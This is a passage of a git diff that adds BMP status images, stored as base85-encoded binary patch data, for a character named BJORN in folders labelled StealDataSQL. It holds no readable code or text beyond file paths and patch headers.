z7iHxWW#bj+5D;c!7pLV0rgvC($HPCDjc1WH>&*AL|z|(biBAA6Aw?$d5|MiYAyyDf8W70MTw_icBuMyHhh5g!L0A5yw~XhAYMo?gzc-l;*WU{wl3v`#Y=Mw?}`I;ztewR<(ISm z((Avo9DtY@9Ob$}mz$6j1cgho^DoaWeplPOeBT}Vm9_tR);9(Nq?eyDgraIE|Hbux VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1c81cf61ed896f2c5c790ce87c6243d80f82a626 GIT binary patch literal 18462 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 HmtX%cMd6Na literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 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 